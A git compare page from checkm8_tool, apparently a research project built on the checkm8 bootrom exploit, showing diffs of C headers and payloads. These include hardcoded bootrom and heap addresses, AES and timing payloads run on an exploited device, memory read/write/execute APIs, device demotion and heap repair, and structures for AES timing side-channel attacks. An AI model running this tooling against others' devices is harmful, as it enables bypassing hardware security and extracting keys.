Compare commits
64 Commits
39a932090b
...
master
| Author | SHA1 | Date | |
|---|---|---|---|
| 4553174961 | |||
| 832009c83c | |||
| 53436a5719 | |||
| 621debcea3 | |||
| d77df9b994 | |||
| e844e2df34 | |||
| 4b361cccea | |||
| 4de34e213e | |||
| c058278f6f | |||
| 0a00de38a5 | |||
| 77641d45be | |||
| 55c1f08046 | |||
| 662c228b7e | |||
| 0320e5cea7 | |||
| 938cbe044b | |||
| a9550de75a | |||
| aff4be3a65 | |||
| 8cca9a2930 | |||
| a5d1121675 | |||
| 1bd577596b | |||
| bf6153062d | |||
| d0af1d9819 | |||
| 6462401fee | |||
| 3334ccd17e | |||
| 3adc4c2e72 | |||
| df40cc6970 | |||
| 6ec02145b3 | |||
| 14ffb6b7c3 | |||
| a66ff906bd | |||
| db97653fc2 | |||
| 94fe326afb | |||
| a5995cd4aa | |||
| eb225122e5 | |||
| 29b4c63ffd | |||
| d8a22d5e34 | |||
|
|
60dd861370 | ||
| d04b884487 | |||
| 34703b958e | |||
| ab93d72633 | |||
| 059461ccbd | |||
| 3e64bd8bab | |||
| a6ddec511a | |||
| 33f3ab9a0d | |||
| 823c914e84 | |||
| 8b25a00bd4 | |||
| d407c17c0f | |||
| 637fd548f5 | |||
| 80fd4f6b4c | |||
| bd4c9b8196 | |||
| 983ad0ad29 | |||
| 5143528433 | |||
| 0e094be537 | |||
|
|
200865c8a6 | ||
|
|
1423f51aef | ||
| 5c8579c913 | |||
| cd3eb5edf0 | |||
| 79d3b72d15 | |||
| e341d51bf9 | |||
| 83ca059295 | |||
| c6fcb4aa66 | |||
| 54e64d982e | |||
| 420e60cf7f | |||
| b1bf2daa2f | |||
| 92fc040298 |
3
.gitignore
vendored
3
.gitignore
vendored
@@ -1,9 +1,10 @@
|
||||
# configuration files
|
||||
.idea/*
|
||||
data/
|
||||
|
||||
# build directories
|
||||
cmake-build-debug/
|
||||
/c8_arduino/cmake-build-debug/
|
||||
|
||||
# generated files
|
||||
/c8_remote/include/libpayload.h
|
||||
/c8_remote/include/tool/libpayload.h
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
cmake_minimum_required(VERSION 3.10)
|
||||
project(checkm8_tool)
|
||||
enable_language(C)
|
||||
enable_language(C ASM)
|
||||
|
||||
include_directories(include)
|
||||
|
||||
#add_subdirectory(c8_arduino)
|
||||
# set up checkm8_remote
|
||||
add_subdirectory(c8_remote)
|
||||
add_subdirectory(c8_libpayload)
|
||||
|
||||
# targets for external tools
|
||||
add_subdirectory(tools)
|
||||
@@ -1,24 +0,0 @@
|
||||
#ifndef CHECKM8_TOOL_BRFUNC_AES_H
|
||||
#define CHECKM8_TOOL_BRFUNC_AES_H
|
||||
|
||||
#include "brfunc_common.h"
|
||||
|
||||
int aes_hw_crypto_cmd(unsigned long long cmd,
|
||||
unsigned char *src, unsigned char *dst,
|
||||
int len, unsigned long long opts,
|
||||
unsigned char *key, unsigned char *iv)
|
||||
{
|
||||
return ((BOOTROM_FUNC) ADDR_AES_HW_CRYPTO_CMD)(cmd, src, dst, len, opts, key, iv);
|
||||
}
|
||||
|
||||
#define CREATE_KEY_COMMAND ((BOOTROM_FUNC) ADDR_CREATE_KEY_COMMAND)
|
||||
#define PUSH_COMMAND_KEY ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_KEY)
|
||||
#define PUSH_COMMAND_IV ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_IV)
|
||||
#define PUSH_COMMAND_DATA ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_DATA)
|
||||
#define PUSH_COMMAND_FLAG ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_FLAG)
|
||||
#define WAIT_FOR_COMMAND_FLAG ((BOOTROM_FUNC) ADDR_WAIT_FOR_COMMAND)
|
||||
|
||||
#define rAES_INT_STATUS (long *) ADDR_AES_CONTROL
|
||||
#define rAES_CONTROL (long *) ADDR_AES_STATUS
|
||||
|
||||
#endif //CHECKM8_TOOL_BRFUNC_AES_H
|
||||
@@ -1,36 +0,0 @@
|
||||
#ifndef CHECKM8_TOOL_BRFUNC_COMMON_H
|
||||
#define CHECKM8_TOOL_BRFUNC_COMMON_H
|
||||
|
||||
#include "checkm8_config.h"
|
||||
|
||||
typedef int (*BOOTROM_FUNC)();
|
||||
|
||||
#if CHECKM8_PLATFORM == 8010
|
||||
|
||||
/* AES */
|
||||
#define ADDR_AES_HW_CRYPTO_CMD 0x100000f0c
|
||||
#define ADDR_CREATE_KEY_COMMAND 0x100000e90
|
||||
#define ADDR_PUSH_COMMAND_KEY 0x100000c64
|
||||
#define ADDR_PUSH_COMMAND_IV 0x100000d18
|
||||
#define ADDR_PUSH_COMMAND_DATA 0x100000d98
|
||||
#define ADDR_PUSH_COMMAND_FLAG 0x100000e20
|
||||
#define ADDR_WAIT_FOR_COMMAND 0x100000ec4
|
||||
|
||||
#define ADDR_AES_CONTROL 0x20A108008
|
||||
#define ADDR_AES_STATUS 0x20A108018
|
||||
|
||||
/* SEP */
|
||||
#define ADDR_DPA_SEEDED 0x100001140
|
||||
#define ADDR_SEND_DPA_MESSAGE 0x100002338
|
||||
|
||||
/* Timing */
|
||||
#define ADDR_CLOCK_GATE 0x100009d4c
|
||||
#define ADDR_SYSTEM_TIME 0x10000B0E0
|
||||
#define ADDR_TIME_HAS_ELAPSED 0x10000B04F
|
||||
#define ADDR_TASK_SLEEP 0x10000ADF0
|
||||
|
||||
#else
|
||||
#error "Unsupported checkm8 platform"
|
||||
#endif
|
||||
|
||||
#endif //CHECKM8_TOOL_BRFUNC_COMMON_H
|
||||
@@ -1,9 +0,0 @@
|
||||
#ifndef CHECKM8_TOOL_BRFUNC_SEP_H
|
||||
#define CHECKM8_TOOL_BRFUNC_SEP_H
|
||||
|
||||
#include "brfunc_common.h"
|
||||
|
||||
#define DPA_SEEDED ((BOOTROM_FUNC) ADDR_DPA_SEEDED)
|
||||
#define SEP_CREATE_SEND_DPA_MESSAGE ((BOOTROM_FUNC) ADDR_SEND_DPA_MESSAGE)
|
||||
|
||||
#endif //CHECKM8_TOOL_BRFUNC_SEP_H
|
||||
@@ -1,10 +0,0 @@
|
||||
#ifndef CHECKM8_TOOL_BRFUNC_TIMING_H
|
||||
#define CHECKM8_TOOL_BRFUNC_TIMING_H
|
||||
|
||||
#include "brfunc_common.h"
|
||||
|
||||
#define CLOCK_GATE ((BOOTROM_FUNC) ADDR_CLOCK_GATE)
|
||||
#define SYSTEM_TIME ((BOOTROM_FUNC) ADDR_SYSTEM_TIME)
|
||||
#define TIME_HAS_ELAPSED ((BOOTROM_FUNC) ADDR_TIME_HAS_ELAPSED)
|
||||
|
||||
#endif //CHECKM8_TOOL_BRFUNC_TIMING_H
|
||||
@@ -1,7 +0,0 @@
|
||||
#ifndef CHECKM8_TOOL_UTIL_H
|
||||
#define CHECKM8_TOOL_UTIL_H
|
||||
|
||||
#define PAYLOAD_SECTION __attribute__ ((section (".payload_text")))
|
||||
#define TEXT_SECTION __attribute__((section (".text")))
|
||||
|
||||
#endif //CHECKM8_TOOL_UTIL_H
|
||||
@@ -1,59 +0,0 @@
|
||||
#include "brfunc_aes.h"
|
||||
#include "brfunc_timing.h"
|
||||
#include "brfunc_sep.h"
|
||||
|
||||
#include "util.h"
|
||||
|
||||
PAYLOAD_SECTION
|
||||
int aes_hw_crypto_command(unsigned int cmd,
|
||||
void *src,
|
||||
void *dst,
|
||||
int len,
|
||||
unsigned int opts,
|
||||
void *key,
|
||||
void *iv)
|
||||
{
|
||||
int seeded;
|
||||
long cgvar;
|
||||
long start = 0, timeout = 0;
|
||||
|
||||
__asm__("orr %0, xzr, #0x3c" : "=r" (cgvar));
|
||||
CLOCK_GATE(cgvar, 0);
|
||||
|
||||
// seeded = DPA_SEEDED();
|
||||
// if(!(seeded & 1))
|
||||
// {
|
||||
// SEP_CREATE_SEND_DPA_MESSAGE();
|
||||
// start = SYSTEM_TIME();
|
||||
//
|
||||
// while(!(seeded & 1) && !(timeout & 1))
|
||||
// {
|
||||
// seeded = DPA_SEEDED();
|
||||
// timeout = TIME_HAS_ELAPSED(start, 1000);
|
||||
// }
|
||||
// }
|
||||
//
|
||||
// if(timeout) return -1;
|
||||
|
||||
unsigned int key_command = CREATE_KEY_COMMAND(0, 0, 0, 0, 1, 0, 0, 0);
|
||||
*rAES_INT_STATUS = 0x20;
|
||||
*rAES_CONTROL = 1;
|
||||
|
||||
PUSH_COMMAND_KEY(key_command, key);
|
||||
PUSH_COMMAND_IV(0, 0, 0, iv);
|
||||
PUSH_COMMAND_DATA(0, 0, src, dst, len);
|
||||
PUSH_COMMAND_FLAG(0, 1, 1);
|
||||
WAIT_FOR_COMMAND_FLAG();
|
||||
|
||||
*rAES_CONTROL = 2;
|
||||
CLOCK_GATE(cgvar, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
TEXT_SECTION
|
||||
int _start(void *src,
|
||||
void *dst,
|
||||
void *key)
|
||||
{
|
||||
return aes_hw_crypto_command(0, src, dst, 128, 0, key, 0);
|
||||
}
|
||||
@@ -1,25 +0,0 @@
|
||||
#include "util.h"
|
||||
#include "brfunc_aes.h"
|
||||
#include "brfunc_timing.h"
|
||||
|
||||
|
||||
TEXT_SECTION
|
||||
int _start(void *src, void *dst, void *key, int rep)
|
||||
{
|
||||
int i, j;
|
||||
unsigned char src_data[16];
|
||||
for(j = 0; j < 16; j++)
|
||||
{
|
||||
src_data[j] = ((unsigned char *) src)[j];
|
||||
}
|
||||
|
||||
// task_sleep(100);
|
||||
for(i = 0; i < rep; i++)
|
||||
{
|
||||
if(i % 2 == 0) aes_hw_crypto_cmd(16, src_data, dst, 16, 0, key, 0);
|
||||
else aes_hw_crypto_cmd(16, dst, src_data, 16, 0, key, 0);
|
||||
// task_sleep(15);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -1,182 +0,0 @@
|
||||
#include "util.h"
|
||||
#include "brfunc_timing.h"
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void task_sleep(unsigned int usec)
|
||||
{
|
||||
((BOOTROM_FUNC) ADDR_TASK_SLEEP)(usec);
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void sub_bytes(unsigned char block[16], unsigned char sbox[16][16])
|
||||
{
|
||||
int i;
|
||||
unsigned char val;
|
||||
|
||||
for(i = 0; i < 16; i++)
|
||||
{
|
||||
val = block[i];
|
||||
block[i] = sbox[val >> 4u][val & 0xfu];
|
||||
}
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void shift_rows(unsigned char block[16])
|
||||
{
|
||||
unsigned char temp1, temp2;
|
||||
|
||||
temp1 = block[0x1];
|
||||
block[0x1] = block[0x5];
|
||||
block[0x5] = block[0x9];
|
||||
block[0x9] = block[0xd];
|
||||
block[0xd] = temp1;
|
||||
|
||||
temp1 = block[0x2];
|
||||
temp2 = block[0xe];
|
||||
block[0x2] = block[0xa];
|
||||
block[0xe] = block[0x6];
|
||||
block[0xa] = temp1;
|
||||
block[0x6] = temp2;
|
||||
|
||||
temp1 = block[0x3];
|
||||
block[0x3] = block[0xf];
|
||||
block[0xf] = block[0xb];
|
||||
block[0xb] = block[0x7];
|
||||
block[0x7] = temp1;
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void mix_cols(unsigned char block[16],
|
||||
unsigned char mul2_lookup[256], unsigned char mul3_lookup[256])
|
||||
{
|
||||
unsigned char r0, r1, r2, r3;
|
||||
int i;
|
||||
|
||||
for(i = 0; i < 4; i++)
|
||||
{
|
||||
r0 = block[4 * i];
|
||||
r1 = block[4 * i + 1];
|
||||
r2 = block[4 * i + 2];
|
||||
r3 = block[4 * i + 3];
|
||||
|
||||
// no reason for the "+ 0" here but it makes the code look more lined up :)
|
||||
block[4 * i + 0] = mul2_lookup[r0] ^ mul3_lookup[r1] ^ r2 ^ r3;
|
||||
block[4 * i + 1] = r0 ^ mul2_lookup[r1] ^ mul3_lookup[r2] ^ r3;
|
||||
block[4 * i + 2] = r0 ^ r1 ^ mul2_lookup[r2] ^ mul3_lookup[r3];
|
||||
block[4 * i + 3] = mul3_lookup[r0] ^ r1 ^ r2 ^ mul2_lookup[r3];
|
||||
}
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void add_key(unsigned char block[16], unsigned char key[16])
|
||||
{
|
||||
int i;
|
||||
for(i = 0; i < 16; i++)
|
||||
{
|
||||
block[i] = block[i] ^ key[i];
|
||||
}
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void expand_key(unsigned char key[16], unsigned char key_sched[176], int n,
|
||||
unsigned char sbox[16][16], unsigned char rc_lookup[11])
|
||||
{
|
||||
int i, j, prev_key_base, key_base = 0;
|
||||
unsigned char val;
|
||||
for(i = 0; i < 16; i++)
|
||||
{
|
||||
key_sched[i] = key[i];
|
||||
}
|
||||
|
||||
for(i = 1; i < n; i++)
|
||||
{
|
||||
prev_key_base = key_base;
|
||||
key_base = 16 * i;
|
||||
|
||||
for(j = 0; j < 3; j++)
|
||||
{
|
||||
val = key_sched[prev_key_base + 13 + j];
|
||||
key_sched[key_base + j] = sbox[val >> 4u][val & 0xfu];
|
||||
}
|
||||
|
||||
val = key_sched[prev_key_base + 12];
|
||||
key_sched[key_base + 3] = sbox[val >> 4u][val & 0xfu];
|
||||
|
||||
key_sched[key_base] ^= rc_lookup[i - 1];
|
||||
|
||||
for(j = 0; j < 4; j++)
|
||||
{
|
||||
key_sched[key_base + j] = key_sched[key_base + j] ^ key_sched[prev_key_base + j];
|
||||
}
|
||||
|
||||
for(j = 4; j < 16; j++)
|
||||
{
|
||||
key_sched[key_base + j] = key_sched[key_base + j - 4] ^ key_sched[prev_key_base + j];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len, unsigned char key[16],
|
||||
unsigned char sbox[16][16], unsigned char rc_lookup[11],
|
||||
unsigned char mul2[256], unsigned char mul3[256])
|
||||
{
|
||||
unsigned char key_sched[176];
|
||||
expand_key(key, key_sched, 11, sbox, rc_lookup);
|
||||
|
||||
unsigned int num_blocks = msg_len / 16;
|
||||
unsigned char *block;
|
||||
|
||||
unsigned int i, j;
|
||||
for(i = 0; i < num_blocks; i++)
|
||||
{
|
||||
block = &msg[16 * i];
|
||||
add_key(block, key_sched);
|
||||
|
||||
for(j = 0; j < 9; j++)
|
||||
{
|
||||
sub_bytes(block, sbox);
|
||||
shift_rows(block);
|
||||
mix_cols(block, mul2, mul3);
|
||||
add_key(block, &key_sched[16 * (j + 1)]);
|
||||
task_sleep(20);
|
||||
}
|
||||
|
||||
sub_bytes(block, sbox);
|
||||
shift_rows(block);
|
||||
add_key(block, &key_sched[16 * (j + 1)]);
|
||||
}
|
||||
}
|
||||
|
||||
TEXT_SECTION
|
||||
unsigned int _start(unsigned char *msg, unsigned int msg_len, unsigned char *key,
|
||||
unsigned char sbox[16][16], unsigned char rc_lookup[11],
|
||||
unsigned char mul2[256], unsigned char mul3[256])
|
||||
{
|
||||
unsigned long long start, end;
|
||||
|
||||
__asm__ volatile ("mrs %0, cntpct_el0" : "=r" (start));
|
||||
aes128_encrypt_ecb(msg, msg_len, key, sbox, rc_lookup, mul2, mul3);
|
||||
__asm__ volatile ("mrs %0, cntpct_el0" : "=r" (end));
|
||||
|
||||
// for(i = 0; i < 256; i++)
|
||||
// {
|
||||
// __asm__ volatile ("dc civac, %0" : : "r" (&sbox[i % 16][i / 16]) : "memory");
|
||||
// __asm__ volatile ("dc civac, %0" : : "r" (&mul2[i]) : "memory");
|
||||
// __asm__ volatile ("dc civac, %0" : : "r" (&mul3[i]) : "memory");
|
||||
// }
|
||||
//
|
||||
// for(i = 0; i < 16; i++)
|
||||
// {
|
||||
// __asm__ volatile ("dc civac, %0" : : "r" (&msg[i]) : "memory");
|
||||
// __asm__ volatile ("dc civac, %0" : : "r" (&key[i]) : "memory");
|
||||
// }
|
||||
//
|
||||
// for(i = 0; i < 12; i++)
|
||||
// {
|
||||
// __asm__ volatile ("dc civac, %0" : : "r" (&rc_lookup[i]) : "memory");
|
||||
// }
|
||||
//
|
||||
// __asm__ volatile ("dsb sy");
|
||||
return end - start;
|
||||
}
|
||||
@@ -1,10 +0,0 @@
|
||||
#include "util.h"
|
||||
|
||||
TEXT_SECTION
|
||||
void _start()
|
||||
{
|
||||
__asm__("dmb sy");
|
||||
__asm__("ic iallu");
|
||||
__asm__("dsb sy");
|
||||
__asm__("isb");
|
||||
}
|
||||
@@ -1,17 +0,0 @@
|
||||
#include "util.h"
|
||||
|
||||
struct sysregs
|
||||
{
|
||||
long pt_base;
|
||||
long evt_base;
|
||||
};
|
||||
|
||||
TEXT_SECTION
|
||||
long long _start()
|
||||
{
|
||||
struct sysregs res;
|
||||
__asm__("mrs %0, ttbr0_el1" : "=r" (res.pt_base));
|
||||
__asm__("mrs %0, vbar_el1" : "=r" (res.evt_base));
|
||||
|
||||
return res.pt_base;
|
||||
}
|
||||
@@ -1,20 +0,0 @@
|
||||
#include "util.h"
|
||||
#include "brfunc_common.h"
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void task_sleep(unsigned int usec)
|
||||
{
|
||||
((BOOTROM_FUNC) ADDR_TASK_SLEEP)(usec);
|
||||
}
|
||||
|
||||
TEXT_SECTION
|
||||
unsigned long long _start(unsigned int usec)
|
||||
{
|
||||
unsigned long long start, end;
|
||||
|
||||
__asm__ volatile ("mrs %0, cntpct_el0" : "=r" (start));
|
||||
task_sleep(usec);
|
||||
__asm__ volatile ("mrs %0, cntpct_el0" : "=r" (end));
|
||||
|
||||
return end - start;
|
||||
}
|
||||
@@ -5,6 +5,8 @@ set(CMAKE_C_STANDARD 99)
|
||||
set(CMAKE_C_FLAGS "-g -Wall")
|
||||
|
||||
include_directories(include)
|
||||
add_subdirectory(lib)
|
||||
|
||||
add_executable(checkm8_remote main.c src/usb_helpers.c src/exploit.c src/payload.c src/command.c)
|
||||
target_link_libraries(checkm8_remote usb-1.0 pthread udev payload)
|
||||
target_link_libraries(checkm8_remote usb-1.0 pthread udev m)
|
||||
target_link_libraries(checkm8_remote payload experiments host_crypto)
|
||||
@@ -19,6 +19,7 @@
|
||||
#define DEV_IDVENDOR 0x05AC
|
||||
#define DEV_IDPRODUCT 0x1227
|
||||
#define DFU_IMAGE_BASE 0x1800B0000ull
|
||||
#define DEMOTE_REG 0x2102BC000ull
|
||||
|
||||
#else
|
||||
#error "Unspported checkm8 platform"
|
||||
@@ -35,7 +36,8 @@ struct pwned_device
|
||||
unsigned int idVendor;
|
||||
unsigned int idProduct;
|
||||
|
||||
struct payload *installed;
|
||||
struct payload *inst_pl;
|
||||
struct data *inst_data;
|
||||
|
||||
#ifdef WITH_ARDUINO
|
||||
int ard_fd;
|
||||
@@ -44,7 +46,25 @@ struct pwned_device
|
||||
#endif
|
||||
};
|
||||
|
||||
struct dev_cmd_resp
|
||||
{
|
||||
int ret;
|
||||
unsigned long long magic;
|
||||
unsigned long long retval;
|
||||
unsigned char *data;
|
||||
int len;
|
||||
};
|
||||
|
||||
struct pwned_device *exploit_device();
|
||||
void free_device(struct pwned_device *dev);
|
||||
|
||||
int demote_device(struct pwned_device *dev);
|
||||
int fix_heap(struct pwned_device *dev);
|
||||
|
||||
int open_device_session(struct pwned_device *dev);
|
||||
int close_device_session(struct pwned_device *dev);
|
||||
int is_device_session_open(struct pwned_device *dev);
|
||||
|
||||
void free_dev_cmd_resp(struct dev_cmd_resp *resp);
|
||||
|
||||
#endif //CHECKM8_TOOL_CHECKM8_H
|
||||
|
||||
@@ -1,26 +0,0 @@
|
||||
#ifndef CHECKM8_TOOL_COMMAND_H
|
||||
#define CHECKM8_TOOL_COMMAND_H
|
||||
|
||||
#include "checkm8.h"
|
||||
|
||||
#define CMD_USB_READ_LIMIT 0xFF0
|
||||
|
||||
struct dev_cmd_resp
|
||||
{
|
||||
int ret;
|
||||
unsigned long long magic;
|
||||
unsigned long long retval;
|
||||
unsigned char *data;
|
||||
int len;
|
||||
};
|
||||
|
||||
struct dev_cmd_resp *dev_memset(struct pwned_device *dev, long long addr, unsigned char c, int len);
|
||||
struct dev_cmd_resp *dev_memcpy(struct pwned_device *dev, long long dest, long long src, int len);
|
||||
struct dev_cmd_resp *dev_exec(struct pwned_device *dev, int response_len, int nargs, unsigned long long *args);
|
||||
|
||||
struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, long long addr, int len);
|
||||
struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, long long addr, unsigned char *data, int len);
|
||||
|
||||
void free_dev_cmd_resp(struct dev_cmd_resp *resp);
|
||||
|
||||
#endif //CHECKM8_TOOL_COMMAND_H
|
||||
63
c8_remote/include/dev/addr.h
Normal file
63
c8_remote/include/dev/addr.h
Normal file
@@ -0,0 +1,63 @@
|
||||
#ifndef CHECKM8_TOOL_ADDR_H
|
||||
#define CHECKM8_TOOL_ADDR_H
|
||||
|
||||
#include "checkm8_config.h"
|
||||
#include "types.h"
|
||||
|
||||
#if CHECKM8_PLATFORM == 8010
|
||||
|
||||
/* Crypto */
|
||||
#define ADDR_HARDWARE_AES 0x100000f0c
|
||||
#define ADDR_GET_RANDOM 0x1000113e0
|
||||
#define ADDR_GET_ENTROPY 0x1000013d4
|
||||
#define ADDR_SHA1 0x10000cc90
|
||||
|
||||
/* Timing */
|
||||
#define ADDR_CLOCK_GATE 0x100009d4c
|
||||
#define ADDR_GET_TIME 0x10000b0e0
|
||||
#define ADDR_GET_TICKS 0x10000041c
|
||||
#define ADDR_TIMER_REGISTER_INT 0x10000b874
|
||||
#define ADDR_WFI 0x1000004fc
|
||||
|
||||
/* Tasking */
|
||||
#define ADDR_TASK_NEW 0x10000a9ac
|
||||
#define ADDR_TASK_RUN 0x10000ac18
|
||||
#define ADDR_TASK_PAUSE 0x10000adf0
|
||||
#define ADDR_TASK_RESCHED 0x10000aaa8
|
||||
#define ADDR_TASK_FREE 0x10000aa20
|
||||
|
||||
#define ADDR_EVENT_NEW 0x10000aed4
|
||||
#define ADDR_EVENT_NOTIFY 0x10000aee8
|
||||
#define ADDR_EVENT_WAIT 0x10000af3c
|
||||
#define ADDR_EVENT_TRY 0x10000af7c
|
||||
|
||||
#define ADDR_BOOTSTRAP_TASK 0x180080200
|
||||
|
||||
/* Heap */
|
||||
#define ADDR_CALC_CHKSUM 0x10000ee20
|
||||
#define ADDR_CHECK_BLOCK_CKSUM 0x10000f138
|
||||
#define ADDR_CHECK_ALL_CHKSUMS 0x10000f8b4
|
||||
|
||||
#define ADDR_DEV_MALLOC 0x10000efe0
|
||||
#define ADDR_DEV_MEMALIGN 0x10000f380
|
||||
#define ADDR_DEV_FREE 0x10000f1b0
|
||||
|
||||
#define ADDR_HEAP_COOKIE 0x180080640
|
||||
#define ADDR_HEAP_BASE 0x1801b4000
|
||||
#define ADDR_HEAP_END 0x1801fffc0
|
||||
|
||||
/* Misc */
|
||||
#define ADDR_RANDOM_RET 0x10000b924
|
||||
#define ADDR_SYNC_ENTRY 0x1800afc84
|
||||
#define ADDR_GETDFU_EXIT 0x1000006c8
|
||||
|
||||
#define ADDR_DFU_RETVAL (int *) 0x180088ac8
|
||||
#define ADDR_DFU_STATUS (unsigned char *) 0x180088ac0
|
||||
#define ADDR_DFU_EVENT (struct event *) 0x180088af0
|
||||
#define ADDR_USB_EVENT (struct event *) 0x1800838c8
|
||||
|
||||
#else
|
||||
#error "Unsupported checkm8 platform"
|
||||
#endif
|
||||
|
||||
#endif //CHECKM8_TOOL_ADDR_H
|
||||
62
c8_remote/include/dev/types.h
Normal file
62
c8_remote/include/dev/types.h
Normal file
@@ -0,0 +1,62 @@
|
||||
#ifndef CHECKM8_TOOL_TYPES_H
|
||||
#define CHECKM8_TOOL_TYPES_H
|
||||
|
||||
struct event
|
||||
{
|
||||
unsigned int dat0;
|
||||
unsigned int dat1;
|
||||
unsigned long long dat2;
|
||||
unsigned long long dat3;
|
||||
} __attribute__ ((packed));
|
||||
|
||||
struct aes_constants
|
||||
{
|
||||
unsigned char sbox[16][16];
|
||||
unsigned char mul2[256];
|
||||
unsigned char mul3[256];
|
||||
unsigned char rc_lookup[11];
|
||||
} __attribute__ ((packed));
|
||||
|
||||
struct heap_header
|
||||
{
|
||||
unsigned long long chksum;
|
||||
unsigned long long pad[3];
|
||||
|
||||
unsigned long long curr_size;
|
||||
unsigned long long curr_free : 1;
|
||||
|
||||
unsigned long long prev_free : 1;
|
||||
unsigned long long prev_size : (sizeof(unsigned long long) * 8 - 2);
|
||||
|
||||
unsigned long long pad_start;
|
||||
unsigned long long pad_end;
|
||||
} __attribute__ ((packed));
|
||||
|
||||
struct bern_data
|
||||
{
|
||||
double t[16][256];
|
||||
double tsq[16][256];
|
||||
double tnum[16][256];
|
||||
|
||||
unsigned long long count;
|
||||
double ttotal;
|
||||
|
||||
struct event ev_data;
|
||||
struct event ev_done;
|
||||
} __attribute__ ((packed));
|
||||
|
||||
#define N_CORR_ENTRIES 1024*256
|
||||
|
||||
struct corr_data
|
||||
{
|
||||
struct event ev_cont;
|
||||
|
||||
int num_cutoff;
|
||||
unsigned char msg[16];
|
||||
unsigned char data[N_CORR_ENTRIES];
|
||||
};
|
||||
|
||||
#define DEV_PTR_NULL -1ull
|
||||
typedef unsigned long long DEV_PTR_T;
|
||||
|
||||
#endif //CHECKM8_TOOL_TYPES_H
|
||||
@@ -1,30 +0,0 @@
|
||||
#ifndef CHECKM8_TOOL_PAYLOAD_H
|
||||
#define CHECKM8_TOOL_PAYLOAD_H
|
||||
|
||||
#include "checkm8.h"
|
||||
|
||||
typedef enum
|
||||
{
|
||||
PAYLOAD_AES,
|
||||
PAYLOAD_AES_BUSY,
|
||||
PAYLOAD_AES_SW,
|
||||
PAYLOAD_SYNC,
|
||||
PAYLOAD_SYSREG,
|
||||
PAYLOAD_TASK_SLEEP_TEST
|
||||
} PAYLOAD_T;
|
||||
|
||||
typedef enum
|
||||
{
|
||||
SRAM,
|
||||
DRAM
|
||||
} LOCATION_T;
|
||||
|
||||
int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc);
|
||||
int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p);
|
||||
struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int response_len, int nargs, ...);
|
||||
|
||||
struct dev_cmd_resp *read_gadget(struct pwned_device *dev, long long addr, int len);
|
||||
struct dev_cmd_resp *write_gadget(struct pwned_device *dev, long long addr, unsigned char *data, int len);
|
||||
struct dev_cmd_resp *execute_gadget(struct pwned_device *dev, long long addr, int response_len, int nargs, ...);
|
||||
|
||||
#endif //CHECKM8_TOOL_PAYLOAD_H
|
||||
15
c8_remote/include/tool/command.h
Normal file
15
c8_remote/include/tool/command.h
Normal file
@@ -0,0 +1,15 @@
|
||||
#ifndef CHECKM8_TOOL_COMMAND_H
|
||||
#define CHECKM8_TOOL_COMMAND_H
|
||||
|
||||
#include "checkm8.h"
|
||||
|
||||
#define CMD_USB_READ_LIMIT 0xFF0
|
||||
|
||||
struct dev_cmd_resp *dev_memset(struct pwned_device *dev, unsigned long long addr, unsigned char c, int len);
|
||||
struct dev_cmd_resp *dev_memcpy(struct pwned_device *dev, unsigned long long dest, unsigned long long src, int len);
|
||||
struct dev_cmd_resp *dev_exec(struct pwned_device *dev, int response_len, int nargs, unsigned long long *args);
|
||||
|
||||
struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, unsigned long long addr, int len);
|
||||
struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, unsigned long long addr, unsigned char *data, int len);
|
||||
|
||||
#endif //CHECKM8_TOOL_COMMAND_H
|
||||
43
c8_remote/include/tool/payload.h
Normal file
43
c8_remote/include/tool/payload.h
Normal file
@@ -0,0 +1,43 @@
|
||||
#ifndef CHECKM8_TOOL_PAYLOAD_H
|
||||
#define CHECKM8_TOOL_PAYLOAD_H
|
||||
|
||||
#include "checkm8.h"
|
||||
#include "dev/types.h"
|
||||
|
||||
typedef enum
|
||||
{
|
||||
PAYLOAD_AES_BUSY,
|
||||
PAYLOAD_AES_SW_BERN,
|
||||
PAYLOAD_AES_SW_CORR,
|
||||
PAYLOAD_CACHELIB,
|
||||
PAYLOAD_EXIT_USB_TASK,
|
||||
PAYLOAD_FLOPPYSLEEP,
|
||||
PAYLOAD_SYNC,
|
||||
} PAYLOAD_T;
|
||||
|
||||
typedef enum
|
||||
{
|
||||
SRAM,
|
||||
DRAM
|
||||
} LOCATION_T;
|
||||
|
||||
|
||||
int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc);
|
||||
int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p);
|
||||
int uninstall_all_payloads(struct pwned_device *dev);
|
||||
DEV_PTR_T get_payload_address(struct pwned_device *dev, PAYLOAD_T p);
|
||||
|
||||
struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int response_len, int nargs, ...);
|
||||
DEV_PTR_T setup_payload_async(struct pwned_device *dev, PAYLOAD_T p, int bufsize, int nargs, ...);
|
||||
int run_payload_async(struct pwned_device *dev, PAYLOAD_T p);
|
||||
int kill_payload_async(struct pwned_device *dev, PAYLOAD_T p, DEV_PTR_T buf_addr);
|
||||
|
||||
DEV_PTR_T install_data(struct pwned_device *dev, LOCATION_T loc, unsigned char *data, int len);
|
||||
int uninstall_data(struct pwned_device *dev, DEV_PTR_T ptr);
|
||||
int uninstall_all_data(struct pwned_device *dev);
|
||||
|
||||
struct dev_cmd_resp *read_gadget(struct pwned_device *dev, DEV_PTR_T addr, int len);
|
||||
